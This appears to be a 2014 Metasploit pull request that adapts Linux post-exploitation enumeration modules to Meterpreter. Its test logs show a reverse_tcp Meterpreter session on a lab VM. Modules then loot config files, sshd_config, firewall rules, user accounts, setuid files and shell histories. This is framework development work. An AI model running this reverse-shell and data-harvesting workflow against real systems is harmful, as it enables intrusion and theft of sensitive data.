rapid7/metasploit-framework — pull request #3505 by jvazquez-r7 (2014-07-08 21:56:21+00:00)
Title: Make some linux enum post modules work on meterpreter

Requeriments
-----

- [ ] https://github.com/rapid7/meterpreter/pull/89
- [ ] https://github.com/rapid7/meterpreter/pull/90

Verification
--------

- [ ] Have linux meterpreter binaries with https://github.com/rapid7/meterpreter/pull/89 and https://github.com/rapid7/meterpreter/pull/90 changes
- [ ] Get a linux meterpreter session, you can use ```exploit/multi/handler```

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1155072 bytes) to 172.16.158.188
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.188:57629) at 2014-07-08 16:32:25 -0500

meterpreter >
meterpreter > background
[*] Backgrounding session 1...

```

- [ ] Verify which the modified post modules work on a meterpreter session. I include my test on an old Ubuntu 10.04 virtual machine:

```
msf exploit(handler) > use post/linux/gather/enum_configs
msf post(enum_configs) > set session 1
session => 1
msf post(enum_configs) > set VERBOSE true
VERBOSE => true
msf post(enum_configs) > run

[*] Running module against ubuntu
[*] Info:
[*]	Ubuntu 10.04.4 LTS
[*]	Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
[*] Finding configuration files...
[*] apache2.conf stored in /Users/jvazquez/.msf4/loot/20140708163307_default_172.16.158.188_linux.enum.conf_742740.txt
[*] ports.conf stored in /Users/jvazquez/.msf4/loot/20140708163308_default_172.16.158.188_linux.enum.conf_456407.txt
[-] Failed to open file: /etc/nginx/nginx.conf
[-] Failed to open file: /etc/snort/snort.conf
[*] my.cnf stored in /Users/jvazquez/.msf4/loot/20140708163308_default_172.16.158.188_linux.enum.conf_481005.txt
[*] ufw.conf stored in /Users/jvazquez/.msf4/loot/20140708163308_default_172.16.158.188_linux.enum.conf_683052.txt
[*] sysctl.conf stored in /Users/jvazquez/.msf4/loot/20140708163309_default_172.16.158.188_linux.enum.conf_179143.txt
[-] Failed to open file: /etc/security.access.conf
[*] shells stored in /Users/jvazquez/.msf4/loot/20140708163309_default_172.16.158.188_linux.enum.conf_064392.txt
[*] sepermit.conf stored in /Users/jvazquez/.msf4/loot/20140708163309_default_172.16.158.188_linux.enum.conf_514472.txt
[*] ca-certificates.conf stored in /Users/jvazquez/.msf4/loot/20140708163310_default_172.16.158.188_linux.enum.conf_967687.txt
[*] access.conf stored in /Users/jvazquez/.msf4/loot/20140708163310_default_172.16.158.188_linux.enum.conf_289097.txt
[-] Failed to open file: /etc/gated.conf
[*] rpc stored in /Users/jvazquez/.msf4/loot/20140708163311_default_172.16.158.188_linux.enum.conf_325156.txt
[-] Failed to open file: /etc/psad/psad.conf
[-] Failed to open file: /etc/mysql/debian.cnf
[-] Failed to open file: /etc/chkrootkit.conf
[*] logrotate.conf stored in /Users/jvazquez/.msf4/loot/20140708163311_default_172.16.158.188_linux.enum.conf_770595.txt
[-] Failed to open file: /etc/rkhunter.conf
[*] smb.conf stored in /Users/jvazquez/.msf4/loot/20140708163312_default_172.16.158.188_linux.enum.conf_375855.txt
[*] ldap.conf stored in /Users/jvazquez/.msf4/loot/20140708163312_default_172.16.158.188_linux.enum.conf_752827.txt
[-] Failed to open file: /etc/openldap/openldap.conf
[-] Failed to open file: /etc/cups/cups.conf
[-] Failed to open file: /etc/opt/lampp/etc/httpd.conf
[*] sysctl.conf stored in /Users/jvazquez/.msf4/loot/20140708163313_default_172.16.158.188_linux.enum.conf_600683.txt
[-] Failed to open file: /etc/proxychains.conf
[*] snmp.conf stored in /Users/jvazquez/.msf4/loot/20140708163313_default_172.16.158.188_linux.enum.conf_741159.txt
[-] Failed to open file: /etc/mail/sendmail.conf
[-] Failed to open file: /etc/snmp/snmp.conf
[*] Post module execution completed
msf post(enum_configs) > cat /Users/jvazquez/.msf4/loot/20140708163313_default_172.16.158.188_linux.enum.conf_741159.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20140708163313_default_172.16.158.188_linux.enum.conf_741159.txt

#
# "$Id$"
#
# Sample SNMP configuration file for CUPS. See "man cups-smnp.conf" for a
# complete description of this file.
#

Address @LOCAL
Community public

#
# End of "$Id$".
#

msf post(enum_configs) > use post/linux/gather/enum_network
msf post(enum_network) > set VERBOSE true
VERBOSE => true
msf post(enum_network) > set SESSION 1
SESSION => 1
msf post(enum_network) > run

[*] Running module against ubuntu
[*] Execute: /usr/bin/whoami
[*] Module running as juan
[+] Info:
[+]	Ubuntu 10.04.4 LTS
[+]	Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
[*] Collecting data...
[*] Execute: /sbin/ifconfig -a
[*] Execute: /sbin/route -e
[*] Execute: /sbin/iptables -L
[*] Execute: /sbin/iptables -L -t nat
[*] Execute: /sbin/iptables -L -t mangle
[*] Download: /etc/resolv.conf
[*] Download: /etc/ssh/sshd_config
[*] Download: /etc/hosts
[*] Execute: /usr/bin/lsof -nPi
[*] Execute: /sbin/iwconfig
[*] Execute: /bin/netstat -tulpn
[*] Execute: ls -R /etc/network
[*] Execute: /usr/bin/find / -maxdepth 3 -name .ssh
[*] Network config stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_079997.txt
[*] Route table stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_053403.txt
[*] Firewall config stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_560494.txt
[*] DNS config stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_161278.txt
[*] SSHD config stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_380526.txt
[*] Host file stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_361863.txt
[*] Active connections stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_463542.txt
[*] Wireless information stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_536692.txt
[*] Listening ports stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_369787.txt
[*] If-Up/If-Down stored in /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_402344.txt
[*] Post module execution completed
msf post(enum_network) > cat /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_053403.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20140708163406_default_172.16.158.188_linux.enum.netwo_053403.txt

Kernel IP routing table
Destination Gateway Genmask Flags MSS Window irtt Iface
172.16.158.0 * 255.255.255.0 U 0 0 0 eth2
link-local * 255.255.0.0 U 0 0 0 eth2
default 172.16.158.2 0.0.0.0 UG 0 0 0 eth2msf post(enum_network) >

msf post(enum_protections) > set VERBOSE true
VERBOSE => true
msf post(enum_protections) > set SESSION 1
SESSION => 1
msf post(enum_protections) > run

[*] Running module against ubuntu
[*] Info:
[*]	Ubuntu 10.04.4 LTS
[*]	Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
[*] Finding installed applications...
[+] ufw found: /usr/sbin/ufw
[+] logrotate found: /usr/sbin/logrotate
[+] tcpdump found: /usr/sbin/tcpdump
[*] Installed applications saved to notes.
[*] Post module execution completed
msf post(enum_protections) > notes
[*] Time: 2014-07-08 21:39:35 UTC Note: type=linux.protection data="/usr/sbin/ufw"
[*] Time: 2014-07-08 21:39:37 UTC Note: type=linux.protection data="/usr/sbin/logrotate"
[*] Time: 2014-07-08 21:39:50 UTC Note: type=linux.protection data="/usr/sbin/tcpdump"

msf post(enum_protections) > use post/linux/gather/enum_system
msf post(enum_system) > set session 1
session => 1
msf post(enum_system) > set verbose true
verbose => true
msf post(enum_system) > run

[+] Info:
[+]	Ubuntu 10.04.4 LTS
[+]	Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
[*] Execute: /bin/cat /etc/passwd | cut -d : -f 1
[*] Execute: /usr/bin/whoami
[*] Execute: dpkg -l
[*] Execute: /usr/bin/service --status-all
[*] Execute: /bin/mount -l
[*] Enumerating as juan
[*] Execute: crontab -l
[*] Execute: /bin/df -ahT
[*] Execute: find /var/log -type f -perm -4 2> /dev/null
[*] Execute: find / -xdev -type f -perm +6000 -perm -1 2> /dev/null
[*] Linux version stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_731604.txt
[*] User accounts stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_040275.txt
[*] Installed Packages stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_952051.txt
[*] Running Services stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_675495.txt
[*] Cron jobs stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_448057.txt
[*] Disk info stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_438688.txt
[*] Logfiles stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_346187.txt
[*] Setuid/setgid files stored in /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_942727.txt
[*] Post module execution completed
msf post(enum_system) > cat /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_040275.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20140708164202_test_172.16.158.188_linux.enum.syste_040275.txt

root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
libuuid
syslog
messagebus
avahi-autoipd
avahi
couchdb
speech-dispatcher
usbmux
haldaemon
kernoops
pulse
rtkit
saned
hplip
gdm
juan
mysql

msf post(enum_users_history) > set VERBOSE false
VERBOSE => false
msf post(enum_users_history) > set SESSION 1
SESSION => 1
msf post(enum_users_history) > run

[+] Info:
[+]	Ubuntu 10.04.4 LTS
[+]	Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686 GNU/Linux
[*] History for juan stored in /Users/jvazquez/.msf4/loot/20140708164838_test_172.16.158.188_linux.enum.users_461600.txt
[-] Failed to open file: /home/juan/.mysql_history
[*] VIM History for juan stored in /Users/jvazquez/.msf4/loot/20140708164838_test_172.16.158.188_linux.enum.users_880212.txt
[-] Failed to open file: /etc/sudoers
[*] Last logs stored in /Users/jvazquez/.msf4/loot/20140708164838_test_172.16.158.188_linux.enum.users_202715.txt
[*] Post module execution completed
msf post(enum_users_history) > cat /Users/jvazquez/.msf4/loot/20140708164838_test_172.16.158.188_linux.enum.users_880212.txt
[*] exec: cat /Users/jvazquez/.msf4/loot/20140708164838_test_172.16.158.188_linux.enum.users_880212.txt

# This viminfo file was generated by Vim 7.2.
# You may edit it if you're careful!

# Value of 'encoding' when this file was written
*encoding=utf-8

# hlsearch on (H) or off (h):

```